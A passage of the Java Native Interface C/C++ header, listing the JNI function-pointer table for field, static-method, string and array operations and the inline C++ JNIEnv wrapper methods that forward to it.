(JNIEnv *env, jobject obj, jfieldID fieldID);
jchar (JNICALL *GetCharField)
(JNIEnv *env, jobject obj, jfieldID fieldID);
jshort (JNICALL *GetShortField)
(JNIEnv *env, jobject obj, jfieldID fieldID);
jint (JNICALL *GetIntField)
(JNIEnv *env, jobject obj, jfieldID fieldID);
jlong (JNICALL *GetLongField)
(JNIEnv *env, jobject obj, jfieldID fieldID);
jfloat (JNICALL *GetFloatField)
(JNIEnv *env, jobject obj, jfieldID fieldID);
jdouble (JNICALL *GetDoubleField)
(JNIEnv *env, jobject obj, jfieldID fieldID);
void (JNICALL *SetObjectField)
(JNIEnv *env, jobject obj, jfieldID fieldID, jobject val);
void (JNICALL *SetBooleanField)
(JNIEnv *env, jobject obj, jfieldID fieldID, jboolean val);
void (JNICALL *SetByteField)
(JNIEnv *env, jobject obj, jfieldID fieldID, jbyte val);
void (JNICALL *SetCharField)
(JNIEnv *env, jobject obj, jfieldID fieldID, jchar val);
void (JNICALL *SetShortField)
(JNIEnv *env, jobject obj, jfieldID fieldID, jshort val);
void (JNICALL *SetIntField)
(JNIEnv *env, jobject obj, jfieldID fieldID, jint val);
void (JNICALL *SetLongField)
(JNIEnv *env, jobject obj, jfieldID fieldID, jlong val);
void (JNICALL *SetFloatField)
(JNIEnv *env, jobject obj, jfieldID fieldID, jfloat val);
void (JNICALL *SetDoubleField)
(JNIEnv *env, jobject obj, jfieldID fieldID, jdouble val);
jmethodID (JNICALL *GetStaticMethodID)
(JNIEnv *env, jclass clazz, const char *name, const char *sig);
jobject (JNICALL *CallStaticObjectMethod)
(JNIEnv *env, jclass clazz, jmethodID methodID, ...);
jobject (JNICALL *CallStaticObjectMethodV)
(JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
jobject (JNICALL *CallStaticObjectMethodA)
(JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);
jboolean (JNICALL *CallStaticBooleanMethod)
(JNIEnv *env, jclass clazz, jmethodID methodID, ...);
jboolean (JNICALL *CallStaticBooleanMethodV)
(JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
jboolean (JNICALL *CallStaticBooleanMethodA)
(JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);
jbyte (JNICALL *CallStaticByteMethod)
(JNIEnv *env, jclass clazz, jmethodID methodID, ...);
jbyte (JNICALL *CallStaticByteMethodV)
(JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
jbyte (JNICALL *CallStaticByteMethodA)
(JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);
jchar (JNICALL *CallStaticCharMethod)
(JNIEnv *env, jclass clazz, jmethodID methodID, ...);
jchar (JNICALL *CallStaticCharMethodV)
(JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
jchar (JNICALL *CallStaticCharMethodA)
(JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);
jshort (JNICALL *CallStaticShortMethod)
(JNIEnv *env, jclass clazz, jmethodID methodID, ...);
jshort (JNICALL *CallStaticShortMethodV)
(JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
jshort (JNICALL *CallStaticShortMethodA)
(JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);
jint (JNICALL *CallStaticIntMethod)
(JNIEnv *env, jclass clazz, jmethodID methodID, ...);
jint (JNICALL *CallStaticIntMethodV)
(JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
jint (JNICALL *CallStaticIntMethodA)
(JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);
jlong (JNICALL *CallStaticLongMethod)
(JNIEnv *env, jclass clazz, jmethodID methodID, ...);
jlong (JNICALL *CallStaticLongMethodV)
(JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
jlong (JNICALL *CallStaticLongMethodA)
(JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);
jfloat (JNICALL *CallStaticFloatMethod)
(JNIEnv *env, jclass clazz, jmethodID methodID, ...);
jfloat (JNICALL *CallStaticFloatMethodV)
(JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
jfloat (JNICALL *CallStaticFloatMethodA)
(JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);
jdouble (JNICALL *CallStaticDoubleMethod)
(JNIEnv *env, jclass clazz, jmethodID methodID, ...);
jdouble (JNICALL *CallStaticDoubleMethodV)
(JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
jdouble (JNICALL *CallStaticDoubleMethodA)
(JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);
void (JNICALL *CallStaticVoidMethod)
(JNIEnv *env, jclass cls, jmethodID methodID, ...);
void (JNICALL *CallStaticVoidMethodV)
(JNIEnv *env, jclass cls, jmethodID methodID, va_list args);
void (JNICALL *CallStaticVoidMethodA)
(JNIEnv *env, jclass cls, jmethodID methodID, const jvalue * args);
jfieldID (JNICALL *GetStaticFieldID)
(JNIEnv *env, jclass clazz, const char *name, const char *sig);
jobject (JNICALL *GetStaticObjectField)
(JNIEnv *env, jclass clazz, jfieldID fieldID);
jboolean (JNICALL *GetStaticBooleanField)
(JNIEnv *env, jclass clazz, jfieldID fieldID);
jbyte (JNICALL *GetStaticByteField)
(JNIEnv *env, jclass clazz, jfieldID fieldID);
jchar (JNICALL *GetStaticCharField)
(JNIEnv *env, jclass clazz, jfieldID fieldID);
jshort (JNICALL *GetStaticShortField)
(JNIEnv *env, jclass clazz, jfieldID fieldID);
jint (JNICALL *GetStaticIntField)
(JNIEnv *env, jclass clazz, jfieldID fieldID);
jlong (JNICALL *GetStaticLongField)
(JNIEnv *env, jclass clazz, jfieldID fieldID);
jfloat (JNICALL *GetStaticFloatField)
(JNIEnv *env, jclass clazz, jfieldID fieldID);
jdouble (JNICALL *GetStaticDoubleField)
(JNIEnv *env, jclass clazz, jfieldID fieldID);
void (JNICALL *SetStaticObjectField)
(JNIEnv *env, jclass clazz, jfieldID fieldID, jobject value);
void (JNICALL *SetStaticBooleanField)
(JNIEnv *env, jclass clazz, jfieldID fieldID, jboolean value);
void (JNICALL *SetStaticByteField)
(JNIEnv *env, jclass clazz, jfieldID fieldID, jbyte value);
void (JNICALL *SetStaticCharField)
(JNIEnv *env, jclass clazz, jfieldID fieldID, jchar value);
void (JNICALL *SetStaticShortField)
(JNIEnv *env, jclass clazz, jfieldID fieldID, jshort value);
void (JNICALL *SetStaticIntField)
(JNIEnv *env, jclass clazz, jfieldID fieldID, jint value);
void (JNICALL *SetStaticLongField)
(JNIEnv *env, jclass clazz, jfieldID fieldID, jlong value);
void (JNICALL *SetStaticFloatField)
(JNIEnv *env, jclass clazz, jfieldID fieldID, jfloat value);
void (JNICALL *SetStaticDoubleField)
(JNIEnv *env, jclass clazz, jfieldID fieldID, jdouble value);
jstring (JNICALL *NewString)
(JNIEnv *env, const jchar *unicode, jsize len);
jsize (JNICALL *GetStringLength)
(JNIEnv *env, jstring str);
const jchar *(JNICALL *GetStringChars)
(JNIEnv *env, jstring str, jboolean *isCopy);
void (JNICALL *ReleaseStringChars)
(JNIEnv *env, jstring str, const jchar *chars);
jstring (JNICALL *NewStringUTF)
(JNIEnv *env, const char *utf);
jsize (JNICALL *GetStringUTFLength)
(JNIEnv *env, jstring str);
const char* (JNICALL *GetStringUTFChars)
(JNIEnv *env, jstring str, jboolean *isCopy);
void (JNICALL *ReleaseStringUTFChars)
(JNIEnv *env, jstring str, const char* chars);
jsize (JNICALL *GetArrayLength)
(JNIEnv *env, jarray array);
jobjectArray (JNICALL *NewObjectArray)
(JNIEnv *env, jsize len, jclass clazz, jobject init);
jobject (JNICALL *GetObjectArrayElement)
(JNIEnv *env, jobjectArray array, jsize index);
void (JNICALL *SetObjectArrayElement)
(JNIEnv *env, jobjectArray array, jsize index, jobject val);
jbooleanArray (JNICALL *NewBooleanArray)
(JNIEnv *env, jsize len);
jbyteArray (JNICALL *NewByteArray)
(JNIEnv *env, jsize len);
jcharArray (JNICALL *NewCharArray)
(JNIEnv *env, jsize len);
jshortArray (JNICALL *NewShortArray)
(JNIEnv *env, jsize len);
jintArray (JNICALL *NewIntArray)
(JNIEnv *env, jsize len);
jlongArray (JNICALL *NewLongArray)
(JNIEnv *env, jsize len);
jfloatArray (JNICALL *NewFloatArray)
(JNIEnv *env, jsize len);
jdoubleArray (JNICALL *NewDoubleArray)
(JNIEnv *env, jsize len);
jboolean * (JNICALL *GetBooleanArrayElements)
(JNIEnv *env, jbooleanArray array, jboolean *isCopy);
jbyte * (JNICALL *GetByteArrayElements)
(JNIEnv *env, jbyteArray array, jboolean *isCopy);
jchar * (JNICALL *GetCharArrayElements)
(JNIEnv *env, jcharArray array, jboolean *isCopy);
jshort * (JNICALL *GetShortArrayElements)
(JNIEnv *env, jshortArray array, jboolean *isCopy);
jint * (JNICALL *GetIntArrayElements)
(JNIEnv *env, jintArray array, jboolean *isCopy);
jlong * (JNICALL *GetLongArrayElements)
(JNIEnv *env, jlongArray array, jboolean *isCopy);
jfloat * (JNICALL *GetFloatArrayElements)
(JNIEnv *env, jfloatArray array, jboolean *isCopy);
jdouble * (JNICALL *GetDoubleArrayElements)
(JNIEnv *env, jdoubleArray array, jboolean *isCopy);
void (JNICALL *ReleaseBooleanArrayElements)
(JNIEnv *env, jbooleanArray array, jboolean *elems, jint mode);
void (JNICALL *ReleaseByteArrayElements)
(JNIEnv *env, jbyteArray array, jbyte *elems, jint mode);
void (JNICALL *ReleaseCharArrayElements)
(JNIEnv *env, jcharArray array, jchar *elems, jint mode);
void (JNICALL *ReleaseShortArrayElements)
(JNIEnv *env, jshortArray array, jshort *elems, jint mode);
void (JNICALL *ReleaseIntArrayElements)
(JNIEnv *env, jintArray array, jint *elems, jint mode);
void (JNICALL *ReleaseLongArrayElements)
(JNIEnv *env, jlongArray array, jlong *elems, jint mode);
void (JNICALL *ReleaseFloatArrayElements)
(JNIEnv *env, jfloatArray array, jfloat *elems, jint mode);
void (JNICALL *ReleaseDoubleArrayElements)
(JNIEnv *env, jdoubleArray array, jdouble *elems, jint mode);
void (JNICALL *GetBooleanArrayRegion)
(JNIEnv *env, jbooleanArray array, jsize start, jsize l, jboolean *buf);
void (JNICALL *GetByteArrayRegion)
(JNIEnv *env, jbyteArray array, jsize start, jsize len, jbyte *buf);
void (JNICALL *GetCharArrayRegion)
(JNIEnv *env, jcharArray array, jsize start, jsize len, jchar *buf);
void (JNICALL *GetShortArrayRegion)
(JNIEnv *env, jshortArray array, jsize start, jsize len, jshort *buf);
void (JNICALL *GetIntArrayRegion)
(JNIEnv *env, jintArray array, jsize start, jsize len, jint *buf);
void (JNICALL *GetLongArrayRegion)
(JNIEnv *env, jlongArray array, jsize start, jsize len, jlong *buf);
void (JNICALL *GetFloatArrayRegion)
(JNIEnv *env, jfloatArray array, jsize start, jsize len, jfloat *buf);
void (JNICALL *GetDoubleArrayRegion)
(JNIEnv *env, jdoubleArray array, jsize start, jsize len, jdouble *buf);
void (JNICALL *SetBooleanArrayRegion)
(JNIEnv *env, jbooleanArray array, jsize start, jsize l, const jboolean *buf);
void (JNICALL *SetByteArrayRegion)
(JNIEnv *env, jbyteArray array, jsize start, jsize len, const jbyte *buf);
void (JNICALL *SetCharArrayRegion)
(JNIEnv *env, jcharArray array, jsize start, jsize len, const jchar *buf);
void (JNICALL *SetShortArrayRegion)
(JNIEnv *env, jshortArray array, jsize start, jsize len, const jshort *buf);
void (JNICALL *SetIntArrayRegion)
(JNIEnv *env, jintArray array, jsize start, jsize len, const jint *buf);
void (JNICALL *SetLongArrayRegion)
(JNIEnv *env, jlongArray array, jsize start, jsize len, const jlong *buf);
void (JNICALL *SetFloatArrayRegion)
(JNIEnv *env, jfloatArray array, jsize start, jsize len, const jfloat *buf);
void (JNICALL *SetDoubleArrayRegion)
(JNIEnv *env, jdoubleArray array, jsize start, jsize len, const jdouble *buf);
jint (JNICALL *RegisterNatives)
(JNIEnv *env, jclass clazz, const JNINativeMethod *methods,
jint nMethods);
jint (JNICALL *UnregisterNatives)
(JNIEnv *env, jclass clazz);
jint (JNICALL *MonitorEnter)
(JNIEnv *env, jobject obj);
jint (JNICALL *MonitorExit)
(JNIEnv *env, jobject obj);
jint (JNICALL *GetJavaVM)
(JNIEnv *env, JavaVM **vm);
void (JNICALL *GetStringRegion)
(JNIEnv *env, jstring str, jsize start, jsize len, jchar *buf);
void (JNICALL *GetStringUTFRegion)
(JNIEnv *env, jstring str, jsize start, jsize len, char *buf);
void * (JNICALL *GetPrimitiveArrayCritical)
(JNIEnv *env, jarray array, jboolean *isCopy);
void (JNICALL *ReleasePrimitiveArrayCritical)
(JNIEnv *env, jarray array, void *carray, jint mode);
const jchar * (JNICALL *GetStringCritical)
(JNIEnv *env, jstring string, jboolean *isCopy);
void (JNICALL *ReleaseStringCritical)
(JNIEnv *env, jstring string, const jchar *cstring);
jweak (JNICALL *NewWeakGlobalRef)
(JNIEnv *env, jobject obj);
void (JNICALL *DeleteWeakGlobalRef)
(JNIEnv *env, jweak ref);
jboolean (JNICALL *ExceptionCheck)
(JNIEnv *env);
jobject (JNICALL *NewDirectByteBuffer)
(JNIEnv* env, void* address, jlong capacity);
void* (JNICALL *GetDirectBufferAddress)
(JNIEnv* env, jobject buf);
jlong (JNICALL *GetDirectBufferCapacity)
(JNIEnv* env, jobject buf);
/* New JNI 1.6 Features */
jobjectRefType (JNICALL *GetObjectRefType)
(JNIEnv* env, jobject obj);
};
/*
* We use inlined functions for C++ so that programmers can write:
*
* env->FindClass("java/lang/String")
*
* in C++ rather than:
*
* (*env)->FindClass(env, "java/lang/String")
*
* in C.
*/
struct JNIEnv_ {
const struct JNINativeInterface_ *functions;
#ifdef __cplusplus
jint GetVersion() {
return functions->GetVersion(this);
}
jclass DefineClass(const char *name, jobject loader, const jbyte *buf,
jsize len) {
return functions->DefineClass(this, name, loader, buf, len);
}
jclass FindClass(const char *name) {
return functions->FindClass(this, name);
}
jmethodID FromReflectedMethod(jobject method) {
return functions->FromReflectedMethod(this,method);
}
jfieldID FromReflectedField(jobject field) {
return functions->FromReflectedField(this,field);
}
jobject ToReflectedMethod(jclass cls, jmethodID methodID, jboolean isStatic) {
return functions->ToReflectedMethod(this, cls, methodID, isStatic);
}
jclass GetSuperclass(jclass sub) {
return functions->GetSuperclass(this, sub);
}
jboolean IsAssignableFrom(jclass sub, jclass sup) {
return functions->IsAssignableFrom(this, sub, sup);
}
jobject ToReflectedField(jclass cls, jfieldID fieldID, jboolean isStatic) {
return functions->ToReflectedField(this,cls,fieldID,isStatic);
}
jint Throw(jthrowable obj) {
return functions->Throw(this, obj);
}
jint ThrowNew(jclass clazz, const char *msg) {
return functions->ThrowNew(this, clazz, msg);
}
jthrowable ExceptionOccurred() {
return functions->ExceptionOccurred(this);
}
void ExceptionDescribe() {
functions->ExceptionDescribe(this);
}
void ExceptionClear() {
functions->ExceptionClear(this);
}
void FatalError(const char *msg) {
functions->FatalError(this, msg);
}
jint PushLocalFrame(jint capacity) {
return functions->PushLocalFrame(this,capacity);
}
jobject PopLocalFrame(jobject result) {
return functions->PopLocalFrame(this,result);
}
jobject NewGlobalRef(jobject lobj) {
return functions->NewGlobalRef(this,lobj);
}
void DeleteGlobalRef(jobject gref) {
functions->DeleteGlobalRef(this,gref);
}
void DeleteLocalRef(jobject obj) {
functions->DeleteLocalRef(this, obj);
}
jboolean IsSameObject(jobject obj1, jobject obj2) {
return functions->IsSameObject(this,obj1,obj2);
}
jobject NewLocalRef(jobject ref) {
return functions->NewLocalRef(this,ref);
}
jint EnsureLocalCapacity(jint capacity) {
return functions->EnsureLocalCapacity(this,capacity);
}
jobject AllocObject(jclass clazz) {
return functions->AllocObject(this,clazz);
}
jobject NewObject(jclass clazz, jmethodID methodID, ...) {
va_list args;
jobject result;
va_start(args, methodID);
result = functions->NewObjectV(this,clazz,methodID,args);
va_end(args);
return result;
}
jobject NewObjectV(jclass clazz, jmethodID methodID,
va_list args) {
return functions->NewObjectV(this,clazz,methodID,args);
}
jobject NewObjectA(jclass clazz, jmethodID methodID,
const jvalue *args) {
return functions->NewObjectA(this,clazz,methodID,args);
}
jclass GetObjectClass(jobject obj) {
return functions->GetObjectClass(this,obj);
}
jboolean IsInstanceOf(jobject obj, jclass clazz) {
return functions->IsInstanceOf(this,obj,clazz);
}
jmethodID GetMethodID(jclass clazz, const char *name,
const char *sig) {
return functions->GetMethodID(this,clazz,name,sig);
}
jobject CallObjectMethod(jobject obj, jmethodID methodID, ...) {
va_list args;
jobject result;
va_start(args,methodID);
result = functions->CallObjectMethodV(this,obj,methodID,args);
va_end(args);
return result;
}
jobject CallObjectMethodV(jobject obj, jmethodID methodID,
va_list args) {
return functions->CallObjectMethodV(this,obj,methodID,args);
}
jobject CallObjectMethodA(jobject obj, jmethodID methodID,
const jvalue * args) {
return functions->CallObjectMethodA(this,obj,methodID,args);
}
jboolean CallBooleanMethod(jobject obj,
jmethodID methodID, ...) {
va_list args;
jboolean result;
va_start(args,methodID);
result = functions->CallBooleanMethodV(this,obj,methodID,args);
va_end(args);
return result;
}
jboolean CallBooleanMethodV(jobject obj, jmethodID methodID,
va_list args) {
return functions->CallBooleanMethodV(this,obj,methodID,args);
}
jboolean CallBooleanMethodA(jobject obj, jmethodID methodID,
const jvalue * args) {
return functions->CallBooleanMethodA(this,obj,methodID, args);
}
jbyte CallByteMethod(jobject obj, jmethodID methodID, ...) {
va_list args;
jbyte result;
va_start(args,methodID);
result = functions->CallByteMethodV(this,obj,methodID,args);
va_end(args);
return result;
}
jbyte CallByteMethodV(jobject obj, jmethodID methodID,
va_list args) {
return functions->CallByteMethodV(this,obj,methodID,args);
}
jbyte CallByteMethodA(jobject obj, jmethodID methodID,
const jvalue * args) {
return functions->CallByteMethodA(this,obj,methodID,args);
}
jchar CallCharMethod(jobject obj, jmethodID methodID, ...) {
va_list args;
jchar result;
va_start(args,methodID);
result = functions->CallCharMethodV(this,obj,methodID,args);
va_end(args);
return result;
}
jchar CallCharMethodV(jobject obj, jmethodID methodID,
va_list args) {
return functions->CallCharMethodV(this,obj,methodID,args);
}
jchar CallCharMethodA(jobject obj, jmethodID methodID,
const jvalue * args) {
return functions->CallCharMethodA(this,obj,methodID,args);
}
jshort CallShortMethod(jobject obj, jmethodID methodID, ...) {
va_list args;
jshort result;
va_start(args,methodID);
result = functions->CallShortMethodV(this,obj,methodID,args);
va_end(args);
return result;
}
jshort CallShortMethodV(jobject obj, jmethodID methodID,
va_list args) {
return functions->CallShortMethodV(this,obj,methodID,args);
}
jshort CallShortMethodA(jobject obj, jmethodID methodID,
const jvalue * args) {
return functions->CallShortMethodA(this,obj,methodID,args);
}
jint CallIntMethod(jobject obj, jmethodID methodID, ...) {
va_list args;
jint result;
va_start(args,methodID);
result = functions->CallIntMethodV(this,obj,methodID,args);
va_end(args);
return result;
}
jint CallIntMethodV(jobject obj, jmethodID methodID,
va_list args) {
return functions->CallIntMethodV(this,obj,methodID,args);
}
jint CallIntMethodA(jobject obj, jmethodID methodID,
const jvalue * args) {
return functions->CallIntMethodA(this,obj,methodID,args);
}
jlong CallLongMethod(jobject obj, jmethodID methodID, ...) {
va_list args;
jlong result;
va_start(args,methodID);
result = functions->CallLongMethodV(this,obj,methodID,args);
va_end(args);
return result;
}
jlong CallLongMethodV(jobject obj, jmethodID methodID,
va_list args) {
return functions->CallLongMethodV(this,obj,methodID,args);
}
jlong CallLongMethodA(jobject obj, jmethodID methodID,
const jvalue * args) {
return functions->CallLongMethodA(this,obj,methodID,args);
}
jfloat CallFloatMethod(jobject obj, jmethodID methodID, ...) {
va_list args;
jfloat result;
va_start(args,methodID);
result = functions->CallFloatMethodV(this,obj,methodID,args);
va_end(args);
return result;
}
jfloat CallFloatMethodV(jobject obj, jmethodID methodID,
va_list args) {
return functions->CallFloatMethodV(this,obj,methodID,args);
}
jfloat CallFloatMethodA(jobject obj, jmethodID methodID,
const jvalue * args) {
return functions->CallFloatMethodA(this,obj,methodID,args);
}
jdouble CallDoubleMethod(jobject obj, jmethodID methodID, ...) {
va_list args;
jdouble result;
va_start(args,methodID);
result = functions->CallDoubleMethodV(this,obj,methodID,args);
va_end(args);
return result;
}
jdouble CallDoubleMethodV(jobject obj, jmethodID methodID,
va_list args) {
return functions->CallDoubleMethodV(this,obj,methodID,args);
}
jdouble CallDoubleMethodA(jobject obj, jmethodID methodID,
const jvalue * args) {
return functions->CallDoubleMethodA(this,obj,methodID,args);
}
void CallVoidMethod(jobject obj, jmethodID methodID, ...) {
va_list args;
va_start(args,methodID);
functions->CallVoidMethodV(this,obj,methodID,args);
va_end(args);
}
void CallVoidMethodV(jobject obj, jmethodID methodID,
va_list args) {
functions->CallVoidMethodV(this,obj,methodID,args);
}
void CallVoidMethodA(jobject obj, jmethodID methodID,
const jvalue * args) {
functions->CallVoidMethodA(this,obj,methodID,args);
}
jobject CallNonvirtualObjectMethod(jobject obj, jclass clazz,
jmethodID methodID, ...) {
va_list args;
jobject result;
va_start(args,methodID);
result = functions->CallNonvirtualObjectMethodV(this,obj,clazz,
methodID,args);
va_end(args);
return result;
}
jobject CallNonvirtualObjectMethodV(jobject obj, jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallNonvirtualObjectMethodV(this,obj,clazz,
methodID,args);
}
jobject CallNonvirtualObjectMethodA(jobject obj, jclass clazz,
jmethodID methodID, const jvalue * args) {
return functions->CallNonvirtualObjectMethodA(this,obj,clazz,
methodID,args);
}
jboolean CallNonvirtualBooleanMethod(jobject obj, jclass clazz,
jmethodID methodID, ...) {
va_list args;
jboolean result;
va_start(args,methodID);
result = functions->CallNonvirtualBooleanMethodV(this,obj,clazz,
methodID,args);
va_end(args);
return result;
}
jboolean CallNonvirtualBooleanMethodV(jobject obj, jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallNonvirtualBooleanMethodV(this,obj,clazz,
methodID,args);
}
jboolean CallNonvirtualBooleanMethodA(jobject obj, jclass clazz,
jmethodID methodID, const jvalue * args) {
return functions->CallNonvirtualBooleanMethodA(this,obj,clazz,
methodID, args);
}
jbyte CallNonvirtualByteMethod(jobject obj, jclass clazz,
jmethodID methodID, ...) {
va_list args;
jbyte result;
va_start(args,methodID);
result = functions->CallNonvirtualByteMethodV(this,obj,clazz,
methodID,args);
va_end(args);
return result;
}
jbyte CallNonvirtualByteMethodV(jobject obj, jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallNonvirtualByteMethodV(this,obj,clazz,
methodID,args);
}
jbyte CallNonvirtualByteMethodA(jobject obj, jclass clazz,
jmethodID methodID, const jvalue * args) {
return functions->CallNonvirtualByteMethodA(this,obj,clazz,
methodID,args);
}
jchar CallNonvirtualCharMethod(jobject obj, jclass clazz,
jmethodID methodID, ...) {
va_list args;
jchar result;
va_start(args,methodID);
result = functions->CallNonvirtualCharMethodV(this,obj,clazz,
methodID,args);
va_end(args);
return result;
}
jchar CallNonvirtualCharMethodV(jobject obj, jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallNonvirtualCharMethodV(this,obj,clazz,
methodID,args);
}
jchar CallNonvirtualCharMethodA(jobject obj, jclass clazz,
jmethodID methodID, const jvalue * args) {
return functions->CallNonvirtualCharMethodA(this,obj,clazz,
methodID,args);
}
jshort CallNonvirtualShortMethod(jobject obj, jclass clazz,
jmethodID methodID, ...) {
va_list args;
jshort result;
va_start(args,methodID);
result = functions->CallNonvirtualShortMethodV(this,obj,clazz,
methodID,args);
va_end(args);
return result;
}
jshort CallNonvirtualShortMethodV(jobject obj, jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallNonvirtualShortMethodV(this,obj,clazz,
methodID,args);
}
jshort CallNonvirtualShortMethodA(jobject obj, jclass clazz,
jmethodID methodID, const jvalue * args) {
return functions->CallNonvirtualShortMethodA(this,obj,clazz,
methodID,args);
}
jint CallNonvirtualIntMethod(jobject obj, jclass clazz,
jmethodID methodID, ...) {
va_list args;
jint result;
va_start(args,methodID);
result = functions->CallNonvirtualIntMethodV(this,obj,clazz,
methodID,args);
va_end(args);
return result;
}
jint CallNonvirtualIntMethodV(jobject obj, jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallNonvirtualIntMethodV(this,obj,clazz,
methodID,args);
}
jint CallNonvirtualIntMethodA(jobject obj, jclass clazz,
jmethodID methodID, const jvalue * args) {
return functions->CallNonvirtualIntMethodA(this,obj,clazz,
methodID,args);
}
jlong CallNonvirtualLongMethod(jobject obj, jclass clazz,
jmethodID methodID, ...) {
va_list args;
jlong result;
va_start(args,methodID);
result = functions->CallNonvirtualLongMethodV(this,obj,clazz,
methodID,args);
va_end(args);
return result;
}
jlong CallNonvirtualLongMethodV(jobject obj, jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallNonvirtualLongMethodV(this,obj,clazz,
methodID,args);
}
jlong CallNonvirtualLongMethodA(jobject obj, jclass clazz,
jmethodID methodID, const jvalue * args) {
return functions->CallNonvirtualLongMethodA(this,obj,clazz,
methodID,args);
}
jfloat CallNonvirtualFloatMethod(jobject obj, jclass clazz,
jmethodID methodID, ...) {
va_list args;
jfloat result;
va_start(args,methodID);
result = functions->CallNonvirtualFloatMethodV(this,obj,clazz,
methodID,args);
va_end(args);
return result;
}
jfloat CallNonvirtualFloatMethodV(jobject obj, jclass clazz,
jmethodID methodID,
va_list args) {
return functions->CallNonvirtualFloatMethodV(this,obj,clazz,
methodID,args);
}
jfloat CallNonvirtualFloatMethodA(jobject obj, jclass clazz,
jmethodID methodID,
const jvalue * args) {
return functions->CallNonvirtualFloatMethodA(this,obj,clazz,
methodID,args);
}
jdouble CallNonvirtualDoubleMethod(jobject obj, jclass clazz,
jmethodID methodID, ...) {
va_list args;
jdouble result;
va_start(args,methodID);
result = functions->CallNonvirtualDoubleMethodV(this,obj,clazz,
methodID,args);
va_end(args);
return result;
}
jdouble CallNonvirtualDoubleMethodV(jobject obj, jclass clazz,
jmethodID methodID,
va_list args) {
return functions->CallNonvirtualDoubleMethodV(this,obj,clazz,
methodID,args);
}
jdouble CallNonvirtualDoubleMethodA(jobject obj, jclass clazz,
jmethodID methodID,
const jvalue * args) {
return functions->CallNonvirtualDoubleMethodA(this,obj,clazz,
methodID,args);
}
void CallNonvirtualVoidMethod(jobject obj, jclass clazz,
jmethodID methodID, ...) {
va_list args;
va_start(args,methodID);
functions->CallNonvirtualVoidMethodV(this,obj,clazz,methodID,args);
va_end(args);
}
void CallNonvirtualVoidMethodV(jobject obj, jclass clazz,
jmethodID methodID,
va_list args) {
functions->CallNonvirtualVoidMethodV(this,obj,clazz,methodID,args);
}
void CallNonvirtualVoidMethodA(jobject obj, jclass clazz,
jmethodID methodID,
const jvalue * args) {
functions->CallNonvirtualVoidMethodA(this,obj,clazz,methodID,args);
}
jfieldID GetFieldID(jclass clazz, const char *name,
const char *sig) {
return functions->GetFieldID(this,clazz,name,sig);
}
jobject GetObjectField(jobject obj, jfieldID fieldID) {
return functions->GetObjectField(this,obj,fieldID);
}
jboolean GetBooleanField(jobject obj, jfieldID fieldID) {
return functions->GetBooleanField(this,obj,fieldID);
}
jbyte GetByteField(jobject obj, jfieldID fieldID) {
return functions->GetByteField(this,obj,fieldID);
}
jchar GetCharField(jobject obj, jfieldID fieldID) {
return functions->GetCharField(this,obj,fieldID);
}
jshort GetShortField(jobject obj, jfieldID fieldID) {
return functions->GetShortField(this,obj,fieldID);
}
jint GetIntField(jobject obj, jfieldID fieldID) {
return functions->GetIntField(this,obj,fieldID);
}
jlong GetLongField(jobject obj, jfieldID fieldID) {
return functions->GetLongField(this,obj,fieldID);
}
jfloat GetFloatField(jobject obj, jfieldID fieldID) {
return functions->GetFloatField(this,obj,fieldID);
}
jdouble GetDoubleField(jobject obj, jfieldID fieldID) {
return functions->GetDoubleField(this,obj,fieldID);
}
void SetObjectField(jobject obj, jfieldID fieldID, jobject val) {
functions->SetObjectField(this,obj,fieldID,val);
}
void SetBooleanField(jobject obj, jfieldID fieldID,
jboolean val) {
functions->SetBooleanField(this,obj,fieldID,val);
}
void SetByteField(jobject obj, jfieldID fieldID,
jbyte val) {
functions->SetByteField(this,obj,fieldID,val);
}
void SetCharField(jobject obj, jfieldID fieldID,
jchar val) {
functions->SetCharField(this,obj,fieldID,val);
}
void SetShortField(jobject obj, jfieldID fieldID,
jshort val) {
functions->SetShortField(this,obj,fieldID,val);
}
void SetIntField(jobject obj, jfieldID fieldID,
jint val) {
functions->SetIntField(this,obj,fieldID,val);
}
void SetLongField(jobject obj, jfieldID fieldID,
jlong val) {
functions->SetLongField(this,obj,fieldID,val);
}
void SetFloatField(jobject obj, jfieldID fieldID,
jfloat val) {
functions->SetFloatField(this,obj,fieldID,val);
}
void SetDoubleField(jobject obj, jfieldID fieldID,
jdouble val) {
functions->SetDoubleField(this,obj,fieldID,val);
}
jmethodID GetStaticMethodID(jclass clazz, const char *name,
const char *sig) {
return functions->GetStaticMethodID(this,clazz,name,sig);
}
jobject CallStaticObjectMethod(jclass clazz, jmethodID methodID,
...) {
va_list args;
jobject result;
va_start(args,methodID);
result = functions->CallStaticObjectMethodV(this,clazz,methodID,args);
va_end(args);
return result;
}
jobject CallStaticObjectMethodV(jclass clazz, jmethodID methodID,
va_list args) {
return functions->CallStaticObjectMethodV(this,clazz,methodID,args);
}
jobject CallStaticObjectMethodA(jclass clazz, jmethodID methodID,
const jvalue *args) {
return functions->CallStaticObjectMethodA(this,clazz,methodID,args);
}
jboolean CallStaticBooleanMethod(jclass clazz,
jmethodID methodID, ...) {
va_list args;
jboolean result;
va_start(args,methodID);
result = functions->CallStaticBooleanMethodV(this,clazz,methodID,args);
va_end(args);
return result;
}
jboolean CallStaticBooleanMethodV(jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallStaticBooleanMethodV(this,clazz,methodID,args);
}
